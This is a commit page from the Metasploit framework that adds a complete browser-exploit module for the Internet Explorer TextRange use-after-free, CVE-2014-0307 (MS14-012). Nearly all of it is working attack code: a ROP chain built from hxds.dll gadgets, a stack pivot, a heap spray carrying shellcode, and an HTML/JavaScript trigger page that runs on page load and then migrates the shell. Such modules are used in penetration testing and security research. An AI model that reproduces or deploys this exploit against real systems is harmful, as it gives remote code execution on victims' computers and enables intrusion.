Land #3120, @wchen-r7's exploit for CVE-2014-0307
commit
a5afd929b4
|
@ -0,0 +1,154 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::BrowserExploitServer
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "MS14-012 Internet Explorer TextRange Use-After-Free",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw
|
||||||
|
was most likely introduced back in 2013, therefore only certain builds of MSHTML are
|
||||||
|
affected. In our testing with IE9, these vulnerable builds appear to be between
|
||||||
|
9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014
|
||||||
|
(before the patch).
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Jason Kratzer', # Original discovery
|
||||||
|
'sinn3r' # Port
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2014-0307' ],
|
||||||
|
[ 'MSB', 'MS14-012' ]
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'BrowserRequirements' =>
|
||||||
|
{
|
||||||
|
:source => /script/i,
|
||||||
|
:os_name => OperatingSystems::WINDOWS,
|
||||||
|
:ua_name => HttpClients::IE,
|
||||||
|
:office => "2010"
|
||||||
|
#:ua_ver => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[
|
||||||
|
'Automatic',
|
||||||
|
{
|
||||||
|
# mov eax,dword ptr [edx+0C4h]; call eax
|
||||||
|
'Pivot' => 0x0c0d1020 # ECX
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00",
|
||||||
|
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
|
||||||
|
},
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'Retries' => false, # You're too kind, tab recovery, I only need 1 shell.
|
||||||
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
|
},
|
||||||
|
'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
end
|
||||||
|
|
||||||
|
# hxds.dll
|
||||||
|
def get_payload
|
||||||
|
setup =
|
||||||
|
[
|
||||||
|
0x51C3B376, # rop nop
|
||||||
|
0x51C2046E, # pop edi; ret
|
||||||
|
0x51BE4A41, # xchg eax, esp; ret
|
||||||
|
].pack("V*")
|
||||||
|
|
||||||
|
# rop nops
|
||||||
|
45.times { setup << [0x51C3B376].pack('V*') }
|
||||||
|
|
||||||
|
setup << [
|
||||||
|
0x51C2046E, # pop edi ; ret
|
||||||
|
0x51BD28D4 # mov eax, [ecx], call [eax+8]
|
||||||
|
].pack('V*')
|
||||||
|
|
||||||
|
p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})
|
||||||
|
|
||||||
|
Rex::Text.to_unescape(p)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_html
|
||||||
|
template = %Q|<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv='Cache-Control' content='no-cache'/>
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge" >
|
||||||
|
<script>
|
||||||
|
<%=js_property_spray%>
|
||||||
|
sprayHeap({shellcode:unescape("<%=get_payload%>")});
|
||||||
|
|
||||||
|
function hxds() {
|
||||||
|
try {
|
||||||
|
location.href = 'ms-help:';
|
||||||
|
} catch(e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
function strike() {
|
||||||
|
hxds();
|
||||||
|
var fake = "";
|
||||||
|
for (var i = 0; i < 12; i++) {
|
||||||
|
if (i==0) {
|
||||||
|
fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
fake += "\\u4141\\u4141";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var elements = [
|
||||||
|
'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG',
|
||||||
|
'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION'
|
||||||
|
];
|
||||||
|
|
||||||
|
for (var i = 0; i < elements.length; i++) {
|
||||||
|
var element = document.createElement(elements[i]);
|
||||||
|
document.body.appendChild(element);
|
||||||
|
}
|
||||||
|
|
||||||
|
var tRange = document.body.createTextRange();
|
||||||
|
tRange.moveToElementText(document.body.children[16]);
|
||||||
|
tRange.execCommand('InsertInputSubmit', true, null);
|
||||||
|
tRange.moveToElementText(document.body.children[0]);
|
||||||
|
tRange.moveEnd('character',4);
|
||||||
|
tRange.execCommand('InsertOrderedList', true, null);
|
||||||
|
tRange.select();
|
||||||
|
tRange.moveToElementText(document.body.children[0]);
|
||||||
|
tRange.moveEnd('character',13);
|
||||||
|
tRange.execCommand('Underline', true, null);
|
||||||
|
tRange.execCommand('RemoveFormat', true, null);
|
||||||
|
var fillObject = document.createElement('button');
|
||||||
|
fillObject.className = fake;
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body onload='strike();'></body>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
|
||||||
|
return template, binding()
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_exploit(cli, request, target_info)
|
||||||
|
send_exploit_html(cli, exploit_html)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue